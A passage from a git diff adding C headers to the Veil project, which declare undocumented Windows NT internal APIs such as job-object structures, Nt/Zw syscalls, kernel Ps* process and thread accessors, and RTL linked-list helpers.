JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +#define JobObjectSharedCommit ((_JOBOBJECTINFOCLASS)29) +#define JobObjectContainerId ((_JOBOBJECTINFOCLASS)30) +#define JobObjectIoRateControlInformation ((_JOBOBJECTINFOCLASS)31) +#define JobObjectNetRateControlInformation ((_JOBOBJECTINFOCLASS)32) // JOBOBJECT_NET_RATE_CONTROL_INFORMATION +#define JobObjectNotificationLimitInformation2 ((_JOBOBJECTINFOCLASS)33) // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2 +#define JobObjectLimitViolationInformation2 ((_JOBOBJECTINFOCLASS)34) // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2 +#define JobObjectCreateSilo ((_JOBOBJECTINFOCLASS)35) +#define JobObjectSiloBasicInformation ((_JOBOBJECTINFOCLASS)36) // SILOOBJECT_BASIC_INFORMATION +#define JobObjectSiloRootDirectory ((_JOBOBJECTINFOCLASS)37) // SILOOBJECT_ROOT_DIRECTORY +#define JobObjectServerSiloBasicInformation ((_JOBOBJECTINFOCLASS)38) // SERVERSILO_BASIC_INFORMATION +#define JobObjectServerSiloUserSharedData ((_JOBOBJECTINFOCLASS)39) // SILO_USER_SHARED_DATA +#define JobObjectServerSiloInitialize ((_JOBOBJECTINFOCLASS)40) +#define JobObjectServerSiloRunningState ((_JOBOBJECTINFOCLASS)41) +#define JobObjectIoAttribution ((_JOBOBJECTINFOCLASS)42) +#define JobObjectMemoryPartitionInformation ((_JOBOBJECTINFOCLASS)43) +#define JobObjectContainerTelemetryId ((_JOBOBJECTINFOCLASS)44) +#define JobObjectSiloSystemRoot ((_JOBOBJECTINFOCLASS)45) +#define JobObjectEnergyTrackingState ((_JOBOBJECTINFOCLASS)46) // JOBOBJECT_ENERGY_TRACKING_STATE +#define JobObjectThreadImpersonationInformation ((_JOBOBJECTINFOCLASS)47) +#define JobObjectIoPriorityLimit ((_JOBOBJECTINFOCLASS)48) +#define JobObjectPagePriorityLimit ((_JOBOBJECTINFOCLASS)49) +#define MaxJobObjectInfoClass ((_JOBOBJECTINFOCLASS)50) +#endif // _KERNEL_MODE + +#ifdef _KERNEL_MODE +typedef struct _JOBOBJECT_BASIC_ACCOUNTING_INFORMATION { + LARGE_INTEGER TotalUserTime; + LARGE_INTEGER TotalKernelTime; + LARGE_INTEGER ThisPeriodTotalUserTime; + LARGE_INTEGER ThisPeriodTotalKernelTime; + UINT32 TotalPageFaultCount; + UINT32 TotalProcesses; + UINT32 ActiveProcesses; + UINT32 TotalTerminatedProcesses; +} JOBOBJECT_BASIC_ACCOUNTING_INFORMATION, * PJOBOBJECT_BASIC_ACCOUNTING_INFORMATION; +#endif // _KERNEL_MODE + +// private +typedef struct _JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +{ + JOBOBJECT_BASIC_ACCOUNTING_INFORMATION BasicInfo; + IO_COUNTERS IoInfo; + PROCESS_DISK_COUNTERS DiskIoInfo; + ULONG64 ContextSwitches; + LARGE_INTEGER TotalCycleTime; + ULONG64 ReadyTime; + PROCESS_ENERGY_VALUES EnergyValues; +} JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION, * PJOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[7]; +} JOBOBJECT_WAKE_INFORMATION, * PJOBOBJECT_WAKE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION_V1 +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[4]; +} JOBOBJECT_WAKE_INFORMATION_V1, * PJOBOBJECT_WAKE_INFORMATION_V1; + +// private +typedef struct _JOBOBJECT_INTERFERENCE_INFORMATION +{ + ULONG64 Count; +} JOBOBJECT_INTERFERENCE_INFORMATION, * PJOBOBJECT_INTERFERENCE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_FILTER +{ + ULONG HighEdgeFilter; + ULONG LowEdgeFilter; +} JOBOBJECT_WAKE_FILTER, * PJOBOBJECT_WAKE_FILTER; + +// private +typedef struct _JOBOBJECT_FREEZE_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG FreezeOperation : 1; + ULONG FilterOperation : 1; + ULONG SwapOperation : 1; + ULONG Reserved : 29; + }; + }; + BOOLEAN Freeze; + BOOLEAN Swap; + UCHAR Reserved0[2]; + JOBOBJECT_WAKE_FILTER WakeFilter; +} JOBOBJECT_FREEZE_INFORMATION, * PJOBOBJECT_FREEZE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION +{ + ULONG64 JobMemory; + ULONG64 PeakJobMemoryUsed; +} JOBOBJECT_MEMORY_USAGE_INFORMATION, * PJOBOBJECT_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +{ + JOBOBJECT_MEMORY_USAGE_INFORMATION BasicInfo; + ULONG64 JobSharedMemory; + ULONG64 Reserved[2]; +} JOBOBJECT_MEMORY_USAGE_INFORMATION_V2, * PJOBOBJECT_MEMORY_USAGE_INFORMATION_V2; + +#if (NTDDI_VERSION != NTDDI_WIN10_RS1) +// private +// +// Define data shared between kernel and user mode per each Silo. +// +// N.B. User mode has read only access to this data +// +typedef struct _SILO_USER_SHARED_DATA +{ + ULONG64 ServiceSessionId; + ULONG ActiveConsoleId; + LONGLONG ConsoleSessionForegroundProcessId; + NT_PRODUCT_TYPE NtProductType; + ULONG SuiteMask; + ULONG SharedUserSessionId; + BOOLEAN IsMultiSessionSku; + WCHAR NtSystemRoot[260]; + USHORT UserModeGlobalLogger[16]; +} SILO_USER_SHARED_DATA, * PSILO_USER_SHARED_DATA; +#endif // WDK_NTDDI_VERSION != NTDDI_WIN10_RS1 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// private +typedef struct _SILOOBJECT_ROOT_DIRECTORY +{ + ULONG ControlFlags; + UNICODE_STRING Path; +} SILOOBJECT_ROOT_DIRECTORY, * PSILOOBJECT_ROOT_DIRECTORY; +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS1 + +// private +typedef struct _JOBOBJECT_ENERGY_TRACKING_STATE +{ + ULONG64 Value; + ULONG UpdateMask; + ULONG DesiredState; +} JOBOBJECT_ENERGY_TRACKING_STATE, * PJOBOBJECT_ENERGY_TRACKING_STATE; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength +); + +#ifdef _KERNEL_MODE +typedef struct _JOB_SET_ARRAY +{ + HANDLE JobHandle; // Handle to job object to insert + UINT32 MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + UINT32 Flags; // Unused. Must be zero +} JOB_SET_ARRAY, * PJOB_SET_ARRAY; +#endif // _KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRevertContainerImpersonation( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRevertContainerImpersonation( + VOID +); +#endif + +// +// Reserve objects +// + +// private +typedef enum _MEMORY_RESERVE_TYPE +{ + MemoryReserveUserApc, + MemoryReserveIoCompletion, + MemoryReserveTypeMax +} MEMORY_RESERVE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type +); +#endif + +#ifdef _KERNEL_MODE + +// Process + +NTKERNELAPI +NTSTATUS +NTAPI +PsLookupProcessThreadByCid( + _In_ PCLIENT_ID ClientId, + _Out_opt_ PEPROCESS* Process, + _Out_ PETHREAD* Thread +); + +NTSYSAPI +BOOLEAN +NTAPI +PsIsSystemProcess( + _In_ PEPROCESS Process +); + +NTSYSAPI +HANDLE NTAPI +PsGetProcessInheritedFromUniqueProcessId( + _In_ PEPROCESS Process +); + +NTSYSAPI +ULONG NTAPI +PsGetProcessSessionId( + _In_ PEPROCESS Process +); + +// The difference is that Ex will return -1 +NTSYSAPI +ULONG +NTAPI +PsGetProcessSessionIdEx( + _In_ PEPROCESS Process +); + +NTSYSAPI +ULONG +NTAPI +PsGetCurrentProcessSessionId( +); + +NTSYSAPI +BOOLEAN +NTAPI +PsGetProcessExitProcessCalled( + _In_ PEPROCESS Process +); + +NTSYSAPI +UCHAR* +NTAPI +PsGetProcessImageFileName( + _In_ PEPROCESS Process +); + +#define PsGetCurrentProcessImageFileName() PsGetProcessImageFileName(PsGetCurrentProcess()) + +NTSYSAPI +PVOID +NTAPI +PsGetProcessSectionBaseAddress( + _In_ PEPROCESS Process +); + +#define PsGetProcessPcb(Process) ((PKPROCESS)(Process)) + +NTSYSAPI +PPEB NTAPI +PsGetProcessPeb( + _In_ PEPROCESS Process +); + +NTSYSAPI +VOID +NTAPI +PsSetProcessPriorityClass( + _Out_ PEPROCESS Process, + _In_ UCHAR PriorityClass +); + +NTSYSAPI +UCHAR +NTAPI +PsGetProcessPriorityClass( + _In_ PEPROCESS Process +); + +NTSYSAPI +VOID +NTAPI +PsSetProcessWindowStation( + _Out_ PEPROCESS Process, + _In_ HANDLE Win32WindowStation +); + +NTSYSAPI +HANDLE +NTAPI +PsGetProcessWin32WindowStation( + _In_ PEPROCESS Process +); + +#define PsGetCurrentProcessWin32WindowStation() PsGetProcessWin32WindowStation(PsGetCurrentProcess()) + +NTSYSAPI +NTSTATUS +NTAPI +PsSetProcessWin32Process( + _In_ PEPROCESS Process, + _In_ PVOID Win32Process, + _In_ PVOID PrevWin32Process +); + +NTSYSAPI +PVOID +NTAPI +PsGetProcessWin32Process( + _In_ PEPROCESS Process +); + +NTSYSAPI +PVOID +NTAPI +PsGetCurrentProcessWin32Process( + VOID +); + +#ifdef _WIN64 +NTSYSAPI +struct _PEB32* +NTAPI +PsGetProcessWow64Process( + _In_ PEPROCESS Process +); + +NTSYSAPI +struct _PEB32* +NTAPI +PsGetCurrentProcessWow64Process( + VOID +); +#endif //_WIN64 + +FORCEINLINE BOOLEAN NTAPI PsIs32bitProcess( + _In_ PEPROCESS Process +) +{ +#ifdef _WIN64 + return !!PsGetProcessWow64Process(Process); +#else + UNREFERENCED_PARAMETER(Process); + return FALSE; +#endif +} + +PVOID NTAPI +PsGetProcessSecurityPort( + _In_ PEPROCESS Process +); + +NTSTATUS NTAPI +PsSuspendProcess( + _In_ PEPROCESS Process +); + +NTSTATUS NTAPI +PsResumeProcess( + _In_ PEPROCESS Process +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsAcquireProcessExitSynchronization( + _In_ PEPROCESS Process +); + +NTKERNELAPI +VOID +NTAPI +PsReleaseProcessExitSynchronization( + _In_ PEPROCESS Process +); + +// Job + +NTSYSAPI +PEJOB +NTAPI +PsGetProcessJob( + _In_ PEPROCESS Process +); + +NTSYSAPI +PERESOURCE +NTAPI +PsGetJobLock( + _In_ PEJOB Job +); + +NTSYSAPI +ULONG +NTAPI +PsGetJobSessionId( + _In_ PEJOB Job +); + +NTSYSAPI +VOID +NTAPI +PsSetJobUIRestrictionsClass( + _Out_ struct _EJOB* Job, + _In_ ULONG UIRestrictionsClass +); + +NTSYSAPI +ULONG +NTAPI +PsGetJobUIRestrictionsClass( + _In_ PEJOB Job +); + +// Debug + +NTSYSAPI +PVOID +NTAPI +PsGetProcessDebugPort( + _In_ PEPROCESS Process +); + +NTSYSAPI +BOOLEAN +NTAPI +PsIsProcessBeingDebugged( + _In_ PEPROCESS Process +); + +// File Object + +NTSYSAPI +NTSTATUS +NTAPI +PsReferenceProcessFilePointer( + _In_ PEPROCESS Process, + _Out_ PFILE_OBJECT* pFilePointer +); + +// Thread + +NTKERNELAPI +BOOLEAN +PsIsSystemThread( + _In_ PETHREAD Thread +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTKERNELAPI +BOOLEAN +PsIsThreadTerminating( + _In_ PETHREAD Thread +); + +NTKERNELAPI +BOOLEAN +NTAPI +PsIsThreadImpersonating( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadStackLimit( + VOID +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadStackBase( + VOID +); + +NTKERNELAPI +KPROCESSOR_MODE +NTAPI +PsGetCurrentThreadPreviousMode( + VOID +); + +NTKERNELAPI +PEPROCESS +PsGetThreadProcess( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PEPROCESS +NTAPI +PsGetCurrentThreadProcess( + VOID +); + +NTKERNELAPI +HANDLE +NTAPI +PsGetCurrentThreadProcessId( + VOID +); + +FORCEINLINE +CLIENT_ID +NTAPI +PsGetThreadClientId( + _In_ PETHREAD Thread +) +{ + CLIENT_ID ClientId = { PsGetThreadProcessId(Thread), PsGetThreadId(Thread) }; + return ClientId; +} + +NTKERNELAPI +ULONG +NTAPI +PsGetThreadSessionId( + _In_ PETHREAD Thread +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsSetContextThread( + _In_ PETHREAD Thread, + _In_ PCONTEXT ThreadContext, + _In_ KPROCESSOR_MODE Mode +); + +NTKERNELAPI +NTSTATUS +NTAPI +PsGetContextThread( + _In_ PETHREAD Thread, + _Inout_ PCONTEXT ThreadContext, + _In_ KPROCESSOR_MODE Mode +); + +NTKERNELAPI +VOID +NTAPI +PsSetThreadWin32Thread( + _Inout_ PETHREAD Thread, + _In_ PVOID Win32Thread, + _In_ PVOID PrevWin32Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetThreadWin32Thread( + _In_ PETHREAD Thread +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadWin32Thread( + VOID +); + +NTKERNELAPI +PVOID +NTAPI +PsGetCurrentThreadWin32ThreadAndEnterCriticalRegion( + _Out_ PHANDLE ProcessId +); + +#define PsGetThreadTcb(Thread) ((PKTHREAD)(Thread)) + +NTKERNELAPI +PVOID +NTAPI +PsGetThreadTeb( + _In_ PETHREAD Thread +); + +NTKERNELAPI +CCHAR +NTAPI +PsGetThreadFreezeCount( + _In_ PETHREAD Thread +); + +NTKERNELAPI +BOOLEAN +NTAPI +PsGetThreadHardErrorsAreDisabled( + _In_ PETHREAD Thread +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.RuntimeLibrary.h b/include/Veil/Veil/Veil.System.RuntimeLibrary.h new file mode 100644 index 0000000..20be6a0 --- /dev/null +++ b/include/Veil/Veil/Veil.System.RuntimeLibrary.h @@ -0,0 +1,10969 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Helper +// + +#ifndef _KERNEL_MODE + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) + +//++ +//VOID +//RtlFailFast ( +// _In_ ULONG Code +// ); +// +// Routine Description: +// +// This routine brings down the caller immediately in the event that +// critical corruption has been detected. No exception handlers are +// invoked. +// +// The routine may be used in libraries shared with user mode and +// kernel mode. In user mode, the process is terminated, whereas in +// kernel mode, a KERNEL_SECURITY_CHECK_FAILURE bug check is raised. +// +// Arguments +// +// Code - Supplies the reason code describing what type of corruption +// was detected. +// +// Return Value: +// +// None. There is no return from this routine. +// +//-- + +DECLSPEC_NORETURN +FORCEINLINE +VOID +RtlFailFast( + _In_ ULONG Code +) +{ + __fastfail(Code); +} + +#endif // !_KERNEL_MODE + +// +// Doubly-linked list manipulation routines. +// + +#ifndef _KERNEL_MODE + +// +// VOID +// InitializeListHead32( +// PLIST_ENTRY32 ListHead +// ); +// + +#define InitializeListHead32(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = PtrToUlong((ListHead))) + +#define RTL_STATIC_LIST_HEAD(x) LIST_ENTRY x = { &x, &x } + +FORCEINLINE +VOID +InitializeListHead( + _Out_ PLIST_ENTRY ListHead +) +{ + ListHead->Flink = ListHead->Blink = ListHead; + return; +} + +_Must_inspect_result_ +BOOLEAN +FORCEINLINE +IsListEmpty( + _In_ const LIST_ENTRY* ListHead +) +{ + return (BOOLEAN)(ListHead->Flink == ListHead); +} + +//++ +//VOID +//FatalListEntryError ( +// _In_ PVOID p1, +// _In_ PVOID p2, +// _In_ PVOID p3 +// ); +// +// Routine Description: +// +// This routine reports a fatal list entry error. It is implemented here as a +// wrapper around RtlFailFast so that alternative reporting mechanisms (such +// as simply logging and trying to continue) can be easily switched in. +// +// Arguments: +// +// p1 - Supplies the first failure parameter. +// +// p2 - Supplies the second failure parameter. +// +// p3 - Supplies the third failure parameter. +// +//Return Value: +// +// None. +//-- + +FORCEINLINE +VOID +FatalListEntryError( + _In_ PVOID p1, + _In_ PVOID p2, + _In_ PVOID p3 +) +{ + UNREFERENCED_PARAMETER(p1); + UNREFERENCED_PARAMETER(p2); + UNREFERENCED_PARAMETER(p3); + + RtlFailFast(FAST_FAIL_CORRUPT_LIST_ENTRY); +} + +#if DBG + +FORCEINLINE +VOID +RtlpCheckListEntry( + _In_ PLIST_ENTRY Entry +) +{ + if ((((Entry->Flink)->Blink) != Entry) || (((Entry->Blink)->Flink) != Entry)) { + FatalListEntryError((PVOID)(Entry), + (PVOID)((Entry->Flink)->Blink), + (PVOID)((Entry->Blink)->Flink)); + } +} + +#else + +#define RtlpCheckListEntry + +#endif + +FORCEINLINE +BOOLEAN +RemoveEntryList( + _In_ PLIST_ENTRY Entry +) +{ + PLIST_ENTRY PrevEntry; + PLIST_ENTRY NextEntry; + + NextEntry = Entry->Flink; + PrevEntry = Entry->Blink; + if ((NextEntry->Blink != Entry) || (PrevEntry->Flink != Entry)) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)Entry, + (PVOID)NextEntry); + } + + PrevEntry->Flink = NextEntry; + NextEntry->Blink = PrevEntry; + return (BOOLEAN)(PrevEntry == NextEntry); +} + +FORCEINLINE +PLIST_ENTRY +RemoveHeadList( + _Inout_ PLIST_ENTRY ListHead +) +{ + PLIST_ENTRY Entry; + PLIST_ENTRY NextEntry; + + Entry = ListHead->Flink; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + NextEntry = Entry->Flink; + if ((Entry->Blink != ListHead) || (NextEntry->Blink != Entry)) { + FatalListEntryError((PVOID)ListHead, + (PVOID)Entry, + (PVOID)NextEntry); + } + + ListHead->Flink = NextEntry; + NextEntry->Blink = ListHead; + + return Entry; +} + +FORCEINLINE +PLIST_ENTRY +RemoveTailList( + _Inout_ PLIST_ENTRY ListHead +) +{ + PLIST_ENTRY Entry; + PLIST_ENTRY PrevEntry; + + Entry = ListHead->Blink; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + PrevEntry = Entry->Blink; + if ((Entry->Flink != ListHead) || (PrevEntry->Flink != Entry)) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)Entry, + (PVOID)ListHead); + } + + ListHead->Blink = PrevEntry; + PrevEntry->Flink = ListHead; + return Entry; +} + + +FORCEINLINE +VOID +InsertTailList( + _Inout_ PLIST_ENTRY ListHead, + _Out_ __drv_aliasesMem PLIST_ENTRY Entry +) +{ + PLIST_ENTRY PrevEntry; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + PrevEntry = ListHead->Blink; + if (PrevEntry->Flink != ListHead) { + FatalListEntryError((PVOID)PrevEntry, + (PVOID)ListHead, + (PVOID)PrevEntry->Flink); + } + + Entry->Flink = ListHead; + Entry->Blink = PrevEntry; + PrevEntry->Flink = Entry; + ListHead->Blink = Entry; + return; +} + + +FORCEINLINE +VOID +InsertHeadList( + _Inout_ PLIST_ENTRY ListHead, + _Out_ __drv_aliasesMem PLIST_ENTRY Entry +) +{ + PLIST_ENTRY NextEntry; + +#if DBG + + RtlpCheckListEntry(ListHead); + +#endif + + NextEntry = ListHead->Flink; + if (NextEntry->Blink != ListHead) { + FatalListEntryError((PVOID)ListHead, + (PVOID)NextEntry, + (PVOID)NextEntry->Blink); + } + + Entry->Flink = NextEntry; + Entry->Blink = ListHead; + NextEntry->Blink = Entry; + ListHead->Flink = Entry; + return; +} + +FORCEINLINE +VOID +AppendTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY ListToAppend +) +{ + PLIST_ENTRY ListEnd = ListHead->Blink; + + RtlpCheckListEntry(ListHead); + RtlpCheckListEntry(ListToAppend); + ListHead->Blink->Flink = ListToAppend; + ListHead->Blink = ListToAppend->Blink; + ListToAppend->Blink->Flink = ListHead; + ListToAppend->Blink = ListEnd; + return; +} + +FORCEINLINE +PSINGLE_LIST_ENTRY +PopEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead +) +{ + PSINGLE_LIST_ENTRY FirstEntry; + + FirstEntry = ListHead->Next; + if (FirstEntry != NULL) { + ListHead->Next = FirstEntry->Next; + } + + return FirstEntry; +} + +FORCEINLINE +VOID +PushEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead, + _Inout_ __drv_aliasesMem PSINGLE_LIST_ENTRY Entry +) +{ + Entry->Next = ListHead->Next; + ListHead->Next = Entry; + return; +} + +#if !defined(MIDL_PASS) +__inline +void +ListEntry32To64( + _In_ PLIST_ENTRY32 l32, + _Out_ PLIST_ENTRY64 l64 +) +{ + l64->Flink = (ULONGLONG)(ULONG)l32->Flink; + l64->Blink = (ULONGLONG)(ULONG)l32->Blink; +} + +__inline +void +ListEntry64To32( + _In_ PLIST_ENTRY64 l64, + _Out_ PLIST_ENTRY32 l32 +) +{ + l32->Flink = (ULONG)l64->Flink; + l32->Blink = (ULONG)l64->Blink; +} +#endif + +#endif // !_KERNEL_MODE + +// +// Run once +// + +#ifndef _KERNEL_MODE + +#ifndef _RTL_RUN_ONCE_DEF +#define _RTL_RUN_ONCE_DEF + +// +// Run once +// + +#define RTL_RUN_ONCE_INIT {0} // Static initializer + +// +// Run once flags +// + +#define RTL_RUN_ONCE_CHECK_ONLY 0x00000001UL +#define RTL_RUN_ONCE_ASYNC 0x00000002UL +#define RTL_RUN_ONCE_INIT_FAILED 0x00000004UL + +// +// The context stored in the run once structure must leave the following number +// of low order bits unused. +// + +#define RTL_RUN_ONCE_CTX_RESERVED_BITS 2 + +typedef union _RTL_RUN_ONCE { + PVOID Ptr; +} RTL_RUN_ONCE, * PRTL_RUN_ONCE; + +#endif // _RTL_RUN_ONCE_DEF + +typedef +_Function_class_(RTL_RUN_ONCE_INIT_FN) +_IRQL_requires_same_ +ULONG /* LOGICAL */ +NTAPI +RTL_RUN_ONCE_INIT_FN( + _Inout_ PRTL_RUN_ONCE RunOnce, + _Inout_opt_ PVOID Parameter, + _Inout_opt_ PVOID* Context +); +typedef RTL_RUN_ONCE_INIT_FN* PRTL_RUN_ONCE_INIT_FN; + +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlRunOnceInitialize( + _Out_ PRTL_RUN_ONCE RunOnce +); + +_IRQL_requires_max_(APC_LEVEL) +_Maybe_raises_SEH_exception_ +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceExecuteOnce( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ __callback 